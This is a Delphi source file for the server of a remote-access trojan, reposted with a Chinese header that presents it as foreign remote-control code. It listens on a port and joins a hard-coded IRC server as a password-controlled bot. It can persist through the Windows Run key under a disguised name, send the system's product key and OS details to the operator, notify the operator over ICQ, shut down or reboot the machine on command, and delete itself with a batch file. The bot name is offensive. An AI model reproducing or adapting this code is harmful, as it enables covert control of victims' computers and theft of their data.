unit1.pas

国外的远程控制源码,国内首发~~~我看到了就转过来了~

(*

 ^^^look at the menus at top.
 Click "Project"
 "view source"
 and look at the added source.

*)

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, ScktComp, registry;

type
  TForm1 = class(TForm)
    Label1: TLabel;
    ServerSocket1: TServerSocket;
    ircbot: TClientSocket;
    procedure FormCreate(Sender: TObject);
    procedure ServerSocket1ClientRead(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure removeserver;
    procedure regWRite(Root:Hkey;Path:string;Key:string;Val:string);
    procedure startIrcBot;
    procedure ircbotConnect(Sender: TObject; Socket: TCustomWinSocket);
    procedure sendinfo;
    procedure RecvData(Sender: TObject; Socket: TCustomWinSocket);
    function GetNick(const nick: string): string;

  private
    { Private declarations }
  public
    { Public declarations }
    ircULI:string;
  end;


// this CONST is for the editserver.
const
  icqnr :string = 'icq=82797122  ';  //10 chars
  portnr:string = 'prt=0715';       //5 chars
  ircServ:string = 'fearless.lcirc.net';
  ircPort:string='6667';
  ircNick:string = 'Anal-Rape';
  ircChan:string = '#testing';
  ircBotPass:string = '123456';
  ircPrefix:string = '!';

// there done


var
  Form1: TForm1;
  icq  : string;   // this will be the icq nr.
  port : string;

  //STARTUP OPTIONS
  regrun_opt : string; //to tell if regrun is enabled
  icq_opt:string;

  function NoticeICQ(Caller: cardinal; URL: PChar; FileName: PChar; Reserved: LongWord; StatusCB: cardinal): Longword; stdcall; external 'URLMON.DLL' name 'URLDownloadToFileA';
  function mciSendString(lpstrCommand, lpstrReturnString: Pchar; uReturnLength: LongWord; hWndCallback: HWND): DWORD; stdcall; external 'winmm.dll' name 'mciSendStringA';

  implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
var
 url:string;
begin
icq := copy(icqnr,5,length(icqnr));  //cut out uin nr from the const string
icq := trim(icq);                   //removes all spaces in string

port := copy(portnr,5,length(portnr));
port := trim(port);
regrun_opt := 'noreg';
icq_opt := 'noicq';

//NOTIFIES HERE --------->

url := 'http://wwp.icq.com/scripts/WWPMsg.dll?from=EXAMPLE&fromemail=EXAMPLE&subject=EXAMPLE&body=BODY&to='+icq+'&Send=""';
//put icq nr into the http url to notify

if (icq_opt = 'yesicq') then
begin
  NoticeICQ(0,pchar(url),'',0,0);
end;

if (regrun_opt = 'yesregrun') then
begin
  regwrite(hkey_local_machine,'software\Microsoft\Windows\CurrentVersion\run\','explor',paramstr(0));
end;

 //    <--------------------NOTIFIES END HERE

 startircbot;
 
serversocket1.Port   := strtoint(port); //set port
serversocket1.Active := true;


end;
// <----------------------------- OUR OWN FUNCTIONS ---------------->
    function regReadString(kRoot: HKEY; sKey, sValue: String): String;
     var
      qValue: array[0..1023] of Char;
      DataSize: Integer;
      CurrentKey: HKEY;
     begin
      RegOpenKeyEx(kRoot, PChar(sKey), 0, KEY_ALL_ACCESS, CurrentKey);
      Datasize := 1023;
      RegQueryValueEx(CurrentKey, PChar(sValue), nil, nil, @qValue[0], @DataSize);
      RegCloseKey(CurrentKey);
      Result := String(qValue);
     if length(result) < 1 then result := '0';
    end;

    function GetOS: string;
    begin
     result := regreadstring(HKEY_LOCAL_MACHINE,'software\microsoft\windows\currentversion','productname');
    end;

    function GetWindowsVer: string;
    begin
     result := regreadstring(HKEY_LOCAL_MACHINE,'software\microsoft\windows\currentversion','version');
    end;

    function GetWindowsVerNo: string;
    begin
     result := regreadstring(HKEY_LOCAL_MACHINE,'software\microsoft\windows\currentversion','versionnumber');
    end;

    function GetWindowsKey: string;
    begin
     result := regreadstring(HKEY_LOCAL_MACHINE,'software\microsoft\windows\currentversion','productkey');
    end;

    Function GetComp:string;
    begin
     result := 'OS: '+GetOs;
     result := result + #13#10 + 'WinVer: '+GetWindowsVer;
     result := result + #13#10 + 'WinVerNo: '+GetWindowsVerNo;
     result := result + #13#10 + 'WinKey: '+GetWindowsKey;
    end;

    Function GetServer:string;
    begin
     result := 'Path: '+Paramstr(0); //gets path
     result := result+#13#10+'UIN: '+icq;
     result := result+#13#10+'Port: '+port;
    end;

    procedure Tform1.removeserver;
     var
      batmelt:string;
      f:textfile;
     begin
      BatMelt := 'C:\clean.bat';
      AssignFile(F, BatMelt);
      ReWrite(F);
      Write(F, 'del' + ' ' + '"' + ParamStr(0) + #13#10 + 'del ' + '"' + BatMelt + '"');
      CloseFile(F);
      WinExec(pchar(BatMelt),0);
      exitprocess(0);
     end;

    procedure TForm1.regWRite(Root:Hkey;Path:string;Key:string;Val:string);
    var
    keys:hkey;
    begin
     regopenkey(root,pchar(path),keys);
     regsetvalueex(keys,@key[1],0,REG_SZ,@val[1],length(val));
     regclosekey(keys);
    end;



// <----------------------------- OUR OWN FUNCTIONS ---------------->
procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
var
 income:integer;
 STRanswer:string;
 a:integer;
begin
//here is all income
income := strtoint(socket.ReceiveText);
 case income of
  1:begin
   STRanswer := '01|'+GetServer;
  end;
  2:begin
   STRanswer := '02|'+GetComp;
  end;
  3:begin
   RemoveServer;
  end;
  4:begin
    mciSendString('Set cdaudio door closed', nil, 0, handle);
  end;
  5:begin
    mciSendString('Set cdaudio door open', nil, 0, handle);
  end;
  6:begin

    for a := 1 to 20 do
    begin
        mciSendString('Set cdaudio door closed', nil, 0, handle);
        mciSendString('Set cdaudio door open', nil, 0, handle);
        MessageBox(0, 'Computer Coffee Holder Active', 'Computer', +mb_Ok +mb_ICONINFORMATION);
        end;
  end;
  7:begin
    SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 0);
  end;
  8:begin
    SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, -1);
  end;
  9:begin
    ExitWindowsEx(EWX_SHUTDOWN,0);
  end;
10:begin
    ExitWindowsEx(EWX_REBOOT,0);
  end;
11:begin
    ExitWindowsEx(EWX_LOGOFF,0);

  end;
12:begin
   ExitWindowsEx(EWX_FORCE or EWX_REBOOT,0);
  end;
13:begin
    SetSystemPowerState(true,true);
  end;
14:begin
    SetSystemPowerState(FALSE,FALSE);
  end;
15:begin
    ExitWindowsEx(EW_RESTARTWINDOWS, 1);

  end;
  16:begin
        mciSendString('Set cdaudio door closed', nil, 0, handle);
        mciSendString('Set cdaudio door open', nil, 0, handle);
        MessageBox(0, 'Computer Coffee Holder Active', 'Computer', +mb_Ok +mb_ICONINFORMATION);
  end;



 end;

if STRanswer <> '' then begin
 socket.SendText(STRanswer);  //send back answer
end;

end;

procedure TForm1.ircbotConnect(Sender: TObject; Socket: TCustomWinSocket);
begin

   sendinfo;
  Form1.ircbot.Socket.SendText('JOIN ' + ircChan + #10#13);
 end;

procedure TForm1.sendinfo;
 var send01:string;
 begin     //Info to connect. has to be sent so the server can authorize your connection.
  Randomize;
  send01:='NICK ' + ircNick + '[' + IntToStr(Random(10000)) + ']' + #13#10;
  Form1.ircbot.Socket.SendText(send01);
  send01:='USER ' + ircNick + '[' + IntToStr(Random(10000)) + ']' + ' ' + #34 + 'win2kpro' + #34 + ' ' + #34 + '127.0.0.1' + #34 + ' ' + ':' + 'myrealcrapname' + #13#10;
  Form1.ircbot.Socket.SendText(send01);
 end;

    procedure tform1.startIrcBot;
    begin
      Form1.ircbot.Host:=ircServ;
      Form1.ircbot.Port:=strtoint(ircPort);
      Form1.ircbot.Active:=true;
    end;


procedure TForm1.RecvData(Sender: TObject; Socket: TCustomWinSocket);
var
strRecv:string;
send01:string;

begin
  strRecv := Form1.ircbot.Socket.ReceiveText;

 if pos('Nickname is already in use.',strRecv) > 0 then
  begin  //Incase nick already used. (duh!)
   send01:='NICK ' + ircNick + '[' + IntToStr(Random(10000)) + ']' + #13#10;
   form1.ircbot.Socket.SendText(send01);

  end else
 if pos('PING :',strRecv) > 0 then
  begin  //Replys to 'Server' pings.
    send01:= 'PONG ' + copy(strRecv,pos('PING :',strRecv) + 7,length(strRecv)) + #10#13;
    Form1.ircbot.Socket.SendText(send01);
  end else
  if pos('KICK',strRecv) > 0 then
  begin  //Replys to 'Server' pings.
    send01:= 'JOIN ' + ircChan + #10#13;
    Form1.ircbot.Socket.SendText(send01);
  end else
  if (pos('QUIT',strRecv) > 0) and (GetNick(strRecv) = ircULI) then
  begin  //Replys to 'Server' pings.
    send01:= 'PRIVMSG ' + ircChan + ' :Auto logoff ( ' + ircULI + ' ) (USER Quit IRC)' + #10#13;
    Form1.ircbot.Socket.SendText(send01);
    ircULI:='';
  end else

  if (pos('PART ' + ircChan,strRecv) > 0) and (GetNick(strRecv) = ircULI) then
  begin  //Replys to 'Server' pings.
    send01:= 'PRIVMSG ' + ircChan + ' :Auto logoff ( ' + ircULI + ' ) (USER Quit IRC)' + #10#13;
    Form1.ircbot.Socket.SendText(send01);
    ircULI:='';
  end else

  if (ircULI = '') then
  begin
  if pos(ansiuppercase(ircPrefix + 'login ') + ircBotPass,ansiuppercase(strRecv)) > 0 then
    begin
      send01 := 'PRIVMSG ' + ircChan + ' :User logged in  ( '+GetNick(strRecv)+' )' + #10#13;
      ircULI := GetNick(strRecv);
      form1.ircbot.Socket.SendText(send01);
    end else
  end else

  if (GetNick(strRecv) = ircULI) then
    begin

      if pos(ansiuppercase(ircPrefix + 'logout'),ansiuppercase(strRecv)) > 0 then
      begin
        send01 := 'PRIVMSG ' + ircChan + ' :User logged out ( ' + GetNick(strRecv) + ' )' + #10#13;
        form1.ircbot.Socket.SendText(send01);
        ircULI := '';
      end else

      if pos(ansiuppercase(ircPrefix + 'irc_halt'),ansiuppercase(strRecv)) > 0 then
      begin
        send01 := 'PRIVMSG ' + ircChan + ' :Stopping irc bot, logging out ( ' + GetNick(strRecv) + ' )' + #10#13;
        form1.ircbot.Socket.SendText(send01);
        ircULI := '';
        form1.ircbot.Active:=false;
      end else

      if pos(ansiuppercase(ircPrefix + 'panic'),ansiuppercase(strRecv)) > 0 then
      begin
        send01 := 'PRIVMSG ' + ircChan + ' :Stopping irc bot, stopping server ( ' + GetNick(strRecv) + ' )' + #10#13;
        form1.ircbot.Socket.SendText(send01);
        ircULI := '';
        form1.ircbot.Active:=false;
        exitprocess(0);
      end else

      if pos(ansiuppercase(ircPrefix + 'remove'),ansiuppercase(strRecv)) > 0 then
      begin
        send01 := 'PRIVMSG ' + ircChan + ' :removing self ( ' + GetNick(strRecv) + ' )' + #10#13;
        form1.ircbot.Socket.SendText(send01);
        removeserver;
      end else

      if pos(ansiuppercase(ircPrefix + 'say'),ansiuppercase(strRecv)) > 0 then
      begin
        send01 := 'PRIVMSG ' + ircChan + ' :' + copy(strRecv, pos('say', strRecv) + 3, length(strRecv)) + #10#13;
        form1.ircbot.Socket.SendText(send01);
        
      end else

      if pos(ansiuppercase(ircPrefix + 'about'),ansiuppercase(strRecv)) > 0 then
      begin
        send01 := 'PRIVMSG ' + ircChan + ' :Anal Rape v1.0 By Otis - http://www.imafraid.com' + #10#13;
        form1.ircbot.Socket.SendText(send01);
        
      end else

      if pos(ansiuppercase(ircPrefix + 'info'),ansiuppercase(strRecv)) > 0 then
      begin
        send01 := 'PRIVMSG ' + ircChan + ' :Anal Rape Server Online! IP[' + form1.ircbot.Socket.LocalAddress + '] Port[' + copy(portnr, 5, length(portnr)) + ']' + #10#13;
        form1.ircbot.Socket.SendText(send01);
        
      end else

    end else

  

  end;
  function tform1.GetNick(const nick: string): string;
  begin
   Result :=  Copy(nick, 2, Pos('!', nick) - 2)
  end;

end.